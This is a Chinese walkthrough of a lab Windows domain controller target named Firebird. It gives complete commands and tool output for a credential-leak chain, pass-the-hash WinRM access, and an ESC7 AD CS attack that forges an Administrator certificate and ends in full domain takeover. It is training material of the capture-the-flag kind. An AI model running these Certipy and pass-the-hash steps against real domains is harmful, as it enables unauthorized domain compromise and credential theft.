

靶机信息

靶机名称: Firebird

靶机作者: kaada

靶机类型: Windows

来源: MazeSec/QQ公开群 321948805

官网: <https://maze-sec.com/>

攻击链复盘

- | | |
|----------------------------|-----------------------------|
| 1. 11104567:Pass_123456! | → 普通域用户 |
| 2. LDAP info 字段泄露 | → 111:Ldap_P@ssw0rd_2026! |
| 3. 111 访问 DB_Vault | → db_config.ini |
| 4. db_config.ini 泄露 | → sublarge 的 NTLM Hash |
| 5. sublarge PTH + winRM 登录 | → 普通域用户, 无特权 |
| 6. Certipy 枚举 AD CS | → ESC7 (CA 危险权限) + SubCA 模板 |
| 7. ESC7 攻击链 | → Administrator.pfx |
| 8. PKINIT 认证 | → Administrator NTLM Hash |
| 9. 域控接管 | → 完全控制 firebird.local |

信息收集

arp-scan 扫描局域网内存活主机, 发现目标主机 IP 地址为192.168.56.140

```
(root@kali)-[~]
# arp-scan -I eth2 192.168.56.0/24
Interface: eth2, type: EN10MB, MAC: 08:00:27:16:d5:6d, IPv4: 192.168.56.111
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:02    (Unknown: locally administered)
192.168.56.100  08:00:27:a2:c0:e3    PCS Systemtechnik GmbH
192.168.56.140  00:0c:29:fb:68:aa    VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.973 seconds (129.75 hosts/sec). 3 responded

(root@kali)-[~]
#
```

扫描端口

```
Host is up (0.00039s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49685/tcp open  unknown
49698/tcp open  unknown
49708/tcp open  unknown
MAC Address: 00:0C:29:FB:68:AA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 106.29 seconds
```

通过下面服务可以分析出这是一台域控主机

- DNS(53)、Kerberos(88)、LDAP(389/636)、Global Catalog(3268/3269)、ADWS(9389)
- SMB(445)、NetBIOS(139)
- RPC(135/593) + 大量 49xxx 动态端口
- WinRM(5985)

域信息收集

通过作者给出的初始凭证 11104567:Pass_123456!，进行域信息收集

验证凭证

```
crackmapexec smb 192.168.56.140 -u 11104567 -p Pass_123456!
```

凭证有效，域名为 firebird.local

```
(root@kali)-[~]
# crackmapexec smb 192.168.56.140 -u 11104567 -p Pass_123456!
SMB 192.168.56.140 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\11104567:Pass_123456!

(root@kali)-[~]
#
```

枚举域用户

```
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --users
```

存在用户111、sublarge、ll104567、Administrator

```
(root@kali)-[~]
# crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --users
SMB 192.168.56.140 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\ll104567:Pass_123456!
SMB 192.168.56.140 445 FIREBIRD [+] Enumerated domain user(s)
SMB 192.168.56.140 445 FIREBIRD firebird.local\ll104567 badpwdcount: 0 desc:
SMB 192.168.56.140 445 FIREBIRD firebird.local\sublarge badpwdcount: 0 desc:
SMB 192.168.56.140 445 FIREBIRD firebird.local\111 badpwdcount: 0 desc: Service Account for DB B
ackup Validation.
SMB 192.168.56.140 445 FIREBIRD firebird.local\krbtgt badpwdcount: 0 desc: Key Distribution Center
Service Account
SMB 192.168.56.140 445 FIREBIRD firebird.local\Guest badpwdcount: 0 desc: Built-in account for gue
st access to the computer/domain
SMB 192.168.56.140 445 FIREBIRD firebird.local\Administrator badpwdcount: 0 desc: Built-in account for adm
inistering the computer/domain
(root@kali)-[~]
#
```

获取密码策略，通过账号锁定阈值为0、密码复杂度没有要求，爆破口令不失为好的选择

```
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --pass-pol
```

```
(root@kali)-[~]
# crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --pass-pol
SMB 192.168.56.140 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\ll104567:Pass_123456!
SMB 192.168.56.140 445 FIREBIRD [+] Dumping password info for domain: FIREBIRD_DOM
SMB 192.168.56.140 445 FIREBIRD Minimum password length: None
SMB 192.168.56.140 445 FIREBIRD Password history length: 24
SMB 192.168.56.140 445 FIREBIRD Maximum password age: 41 days 23 hours 53 minutes
SMB 192.168.56.140 445 FIREBIRD Password Complexity Flags: 000000
SMB 192.168.56.140 445 FIREBIRD Domain Refuse Password Change: 0
SMB 192.168.56.140 445 FIREBIRD Domain Password Store Cleartext: 0
SMB 192.168.56.140 445 FIREBIRD Domain Password Lockout Admins: 0
SMB 192.168.56.140 445 FIREBIRD Domain Password No Clear Change: 0
SMB 192.168.56.140 445 FIREBIRD Domain Password No Anon Change: 0
SMB 192.168.56.140 445 FIREBIRD Domain Password Complex: 0
SMB 192.168.56.140 445 FIREBIRD Minimum password age: 1 day 4 minutes
SMB 192.168.56.140 445 FIREBIRD Reset Account Lockout Counter: 30 minutes
SMB 192.168.56.140 445 FIREBIRD Locked Account Duration: 30 minutes
SMB 192.168.56.140 445 FIREBIRD Account Lockout Threshold: None
SMB 192.168.56.140 445 FIREBIRD Forced Log off Time: Not Set
(root@kali)-[~]
#
```

枚举smb共享，无权限访问DB_Vault

```
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --shares
```

```
[root@kali]~# crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --shares
[*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\ll104567:Pass_123456!
SMB 192.168.56.140 445 FIREBIRD [+] Enumerated shares
SMB 192.168.56.140 445 FIREBIRD
Share Permissions Remark
-----
ADMIN$ Remote Admin
C$ Default share
DB_Vault
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share

[root@kali]~# smbclient //192.168.56.140/DB_Vault -U firebird.local/ll104567% 'Pass_123456!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>
```

CME (CrackMapExec) smb模块枚举域信息有限, 使用 LDAP 协议做精细化枚举

111用户描述信息'Service Account for DB Backup Validation.', 与smb共享DB_Vault相关

ldapsearch 深度枚举111用户, info字段发现密码为 Ldap_P@ssw0rd_2026!

```

└─(root@kali)~-[~]
ldapsearch -LLL -x -Hx -H ldap://192.168.56.-D "11104567@firebird.local" -w 'Pass_123456!' -b "DC=firebird,DC=local" "(sAMAccountName=111)" ""
dn: CN=111,OU=TargetUsers,DC=firebird,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: 111
description: Service Account for DB Backup Validation.
distinguishedName: CN=111,OU=TargetUsers,DC=firebird,DC=local
instanceType: 4
whenCreated: 20260721104843.0Z
whenChanged: 20260721160046.0Z
uSNCreated: 12593
info: [Project Suna no Wakusei - Dev Node] Service Account for DB Backup Valid
ation. Assigned credential: Ldap_P@ssw0rd_2026!
uSNChanged: 32796
name: 111
objectGUID:: 7k4c1aJ5tUirrDii2sF5kA==
userAccountControl: 512
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 134291756767868947

```

验证

```
crackmapexec smb 192.168.56.140 -u 111 -p 'Ldap_P@ssw0rd_2026!'
```

```
(root@kali)-[~]
# crackmapexec smb 192.168.56.140 -u 111 -p 'Ldap_P@ssw0rd_2026!'
SMB 192.168.56.140 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\111:Ldap_P@ssw0rd_2026!

(root@kali)-[~]
#
```

访问 DB_Vault 泄露 NTLM Hash

使用 111 用户访问 DB_Vault，发现 db_config.ini 文件

```
smbclient //192.168.56.140/DB_Vault -U '111%Ldap_P@ssw0rd_2026!'
```

获取到 db_config.ini 文件，里面有 sublarge 用户的 NTLM Hash

```
(root@kali)-[~]
# smbclient //192.168.56.140/DB_Vault -U '111%Ldap_P@ssw0rd_2026!'
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Tue Jul 21 06:51:16 2026
..               DHS           0   Tue Jul 21 08:35:01 2026
db_config.ini    A            147  Tue Jul 21 12:11:20 2026

5158399 blocks of size 4096. 1832390 blocks available
smb: \> get db_config.ini
getting file \db_config.ini of size 147 as db_config.ini (71.8 KiloBytes/sec) (average 71.8 KiloBytes/sec)
smb: \> exit

(root@kali)-[~]
# cat db_config.ini
[Database Service Configuration]
ServiceAccount=firebird\sublarge
AuthType=NTLM
BackupHash=2d9b24ded78750921eecd7dfea8d54ae
LastUpdate=2026-07-21

(root@kali)-[~]
#
```

验证NTLM hash有效性

```
crackmapexec smb 192.168.56.140 -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae
```

```
(root@kali)-[~]
# crackmapexec smb 192.168.56.140 -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae
SMB 192.168.56.140 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:False)
SMB 192.168.56.140 445 FIREBIRD [+] firebird.local\sublarge:2d9b24ded78750921eecd7dfea8d54ae

(root@kali)-[~]
#
```

PTH + WinRM 登录

现在有了ll104567、111、sublarge三个用户的凭证，尝试使用 WinRM 登录，仅sublarge可以正常登录，说明sublarge在 remote management 组中

```
evil-winrm -i 192.168.56.140 -u sublarge@firebird.local -H 2d9b24ded78750921eecd7dfea8d54ae
```

```
(root@kali)-[~]
# evil-winrm -i 192.168.56.140 -u sublarge@firebird.local -H 2d9b24ded78750921eecd7dfea8d54ae

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sublarge\Documents> whoami
firebird_dom\sublarge
*Evil-WinRM* PS C:\Users\sublarge\Documents>
```

```
User Name          SID
=====
firebird_dom\sublarge S-1-5-21-4072418453-1050883858-1026317057-1105

GROUP INFORMATION
-----

Group Name          Type          SID          Attributes
=====
Everyone            Well-known group S-1-1-0      Mandatory group, Enabled by default
, Enabled group
BUILTIN\Remote Management Users Alias          S-1-5-32-580 Mandatory group, Enabled by default
, Enabled group
BUILTIN\Users        Alias          S-1-5-32-545 Mandatory group, Enabled by default
, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias          S-1-5-32-554 Mandatory group, Enabled by default
, Enabled group
BUILTIN\Certificate Service DCOM Access Alias          S-1-5-32-574 Mandatory group, Enabled by default
, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2      Mandatory group, Enabled by default
, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11     Mandatory group, Enabled by default
, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15     Mandatory group, Enabled by default
, Enabled group
FIREBIRD_DOM\CertManagers_Group Group          S-1-5-21-4072418453-1050883858-1026317057-1106 Mandatory group, Enabled by default
, Enabled group
```

sublarge在 remote management、FIREBIRD_DOM\CertManagers_Group 组中，CertManagers_Group 的存在提示目标域启用了 AD CS 服务，且该组很可能被赋予了证书管理相关 ACL

AD CS 枚举与 ESC7 发现

Active Directory Certificate Services (AD CS) 是 Windows Server 提供的 PKI 实现，负责在域内颁发和管理数字证书，用于身份认证、加密与签名。由于证书可直接用于 Kerberos PKINIT 认证，且企业部署中常存在模板配置不当、CA 权限过大等问题，AD CS 已成为 AD 环境中一类重要的非漏洞型提权攻击面（典型如 ESC1-ESC8）。核心逻辑：如果能骗 CA 给你发一张“身份是域管”的有效证书，那你就用这张证书通过 Kerberos PKINIT 认证成域管，拿到 TGT 甚至 NTLM Hash，而不需要域管密码。

使用 certipy-ad find 以 sublarge 的身份枚举 AD CS 配置：

```
certipy-ad find -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae -dc-ip 192.168.56.140
```

域控上存在 1 个证书颁发机构: firebird-FIREBIRD-CA

```
(root@kali)-[~]
# certipy-ad find -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae -dc-ip 192.168.56.140
Certipy v5.0.4 - by Oliver Lyak (1y4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'firebird-FIREBIRD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'firebird-FIREBIRD-CA'
[*] Checking web enrollment for CA 'firebird-FIREBIRD-CA' @ 'firebird.firebird.local'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260722042249_Certipy.txt'
[*] Wrote text output to '20260722042249_Certipy.txt'
[*] Saving JSON output to '20260722042249_Certipy.json'
[*] Wrote JSON output to '20260722042249_Certipy.json'
```

CA firebird-FIREBIRD-CA 的 ACL 配置存在 ESC7 风险——当前用户 sublarge 对 CA 具备 ManageCA 类高危权限, 可操纵证书模板与签发流程;

内置 SubCA 模板虽仅限 Domain Admins 注册, 但结合 ESC7 的“拒绝后强制签发”机制, 可绕过模板 Enrollment Rights 限制, 可用于签发下级 CA 证书, 在 AD CS 信任链中具备等效于域管的认证能力, 因此可被滥用于 PKINIT 域提权。

```
(root@kali)-[~]
# cat 20260722042249_Certipy.txt | grep -E 'ESC|Client Authentication|Enrollment Rights|SubCA|EDITF_ATTRIBUTESUBJECTALTNAME2'
ESC7 : User has dangerous permissions.
Client Authentication : True
Extended Key Usage : Client Authentication
Enrollment Rights : FIREBIRD.LOCAL\Enterprise Read-only Domain Controllers
Client Authentication : False
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
Client Authentication : True
Extended Key Usage : Client Authentication
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
Client Authentication : True
Extended Key Usage : Client Authentication
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
Client Authentication : False
Enrollment Rights : FIREBIRD.LOCAL\Enterprise Read-only Domain Controllers
Client Authentication : True
Extended Key Usage : Client Authentication
Enrollment Rights : FIREBIRD.LOCAL\Enterprise Read-only Domain Controllers
Client Authentication : False
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
Client Authentication : False
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
Client Authentication : True
Enrollment Rights : FIREBIRD.LOCAL\Domain Admins
```



```

Extended Key Usage           : Client Authentication
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Client Authentication        : False
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Client Authentication        : False
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Template Name                 : SubCA
Client Authentication        : True
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Client Authentication        : True
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Client Authentication        : False
Enrollment Rights           : FIREBIRD.LOCAL\Domain Admins
Client Authentication        : True
Extended Key Usage           : Client Authentication
Enrollment Rights           : FIREBIRD.LOCAL\Enterprise Read-only Domain Controllers
Client Authentication        : True
Extended Key Usage           : Client Authentication

```

ESC7 利用：SubCA 模板滥用

基于前文发现的 ESC7 风险，sublarge 对 CA firebird-FIREBIRD-CA 拥有 ManageCA 权限。这意味着即便 SubCA 模板仅允许 Domain Admins 注册，sublarge 仍可绕过该限制，完成“请求 → 拒绝 → 强制签发”的攻击链。

整个利用流程分为五个阶段：添加 CA Officer → 启用 SubCA 模板 → 提交域管证书请求 → 强制签发 → PKINIT 认证提权。

添加 CA Officer（获取 ManageCertificates 权限）

虽然 sublarge 已有 ManageCA，但为了能够签发被拒绝的请求，还需显式将自己添加为 CA Officer（即获得 ManageCertificates 权限）

```
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -add-officer sublarge
```

```

(root@kali)-[~]
# certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -add-officer sublarge
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'sublarge' on 'firebird-FIREBIRD-CA'

(root@kali)-[~]
#

```

原理：ManageCA 允许管理 CA 配置（如启用模板），而 ManageCertificates 允许批准/拒绝证书请求。ESC7 的完整利用通常需要两者兼备，因此首先通过 -add-officer 将自身加入 CA Officer 列表。

启用 SubCA 模板

默认情况下，SubCA 模板处于禁用状态。使用 ManageCA 权限启用该模板：

```
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -enable-template SubCA
```



```
(root@kali)-[~]
# certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -enable-template SubCA
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'firebird-FIREBIRD-CA'

(root@kali)-[~]
#
```

原理：SubCA（下级 CA）模板在 AD CS 信任链中具有极高权限，可被用于签发任意身份的证书。由于其危险性，默认不启用。ESC7 允许低权限用户启用该模板，从而为后续伪造域管证书创造条件。

以 Administrator 身份提交 SubCA 证书请求

使用 certipy-ad req 以 Administrator 的 UPN 提交证书请求。由于 sublarge 不在 Enrollment Rights 中，该请求会被 CA 拒绝（Pending/Denied），但仍会生成唯一的 Request ID：

```
certipy-ad req -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA \
-template SubCA -upn Administrator@firebird.local
```

```
(root@kali)-[~]
# certipy-ad req -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA \
-template SubCA -upn Administrator@firebird.local
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '4.key'
[*] Wrote private key to '4.key'
[-] Failed to request certificate

(root@kali)-[~]
#
```

- -upn Administrator@firebird.local：指定证书绑定的身份为域管
- 命令执行后会返回 Request ID is X，该 ID 是后续强制签发的关键
- 此时证书尚未生效，因为 CA 拒绝了该请求

强制签发被拒的证书请求

利用此前获得的 ManageCertificates 权限，强行签发第 3 步中被拒绝的请求：

```
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -issue-request 4
```

```
(root@kali)-[~]
# certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -issue-request 4
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate request ID 4

(root@kali)-[~]
#
```

ESC7 核心步骤：正常流程中，被拒绝的请求需要域管手动批准。但在 ESC7 场景下，sublarge 既是“申请者”，又是“审批者”，因此可以自行批准自己的恶意请求，绕过模板的 Enrollment Rights 限制。

取回证书并进行 PKINIT 认证

请求被签发后，使用相同的 Request ID 取回证书，并通过 PKINIT 进行 Kerberos 认证，直接获取 Administrator 的 NTLM Hash：

```
# 取回证书
certipy-ad req -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -retrieve 4

# PKINIT 认证
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.140
```

```
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -retrieve 4
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 4
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'Administrator@firebird.local'
[*] Certificate has no object SID
[*] Loaded private key from '4.key'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'

(root@kali)-[~]
# certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.140

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator@firebird.local'
[*] Using principal: 'administrator@firebird.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@firebird.local': aad3b435b51404eeaad3b435b51404ee:9fbb1566fa1ff2c13c56255d7e360635
```

- administrator.pfx 是一个有效的域管证书
- certipy-ad auth 利用该证书完成 PKINIT 认证，成功获取 TGT，并自动导出 Administrator 的 NTLM Hash

域控接管

使用获取的 NTLM Hash 通过 WinRM 登录域控，验证权限：

```
evil-winrm -i 192.168.56.140 -u Administrator -H 9fbb1566fa1ff2c13c56255d7e360635
```

```
(root@kali)-[~]
# evil-winrm -i 192.168.56.140 -u Administrator -H 9fbb1566fa1ff2c13c56255d7e360635

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Documents> whoami
firebird_dom\administrator
*Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Documents> █
```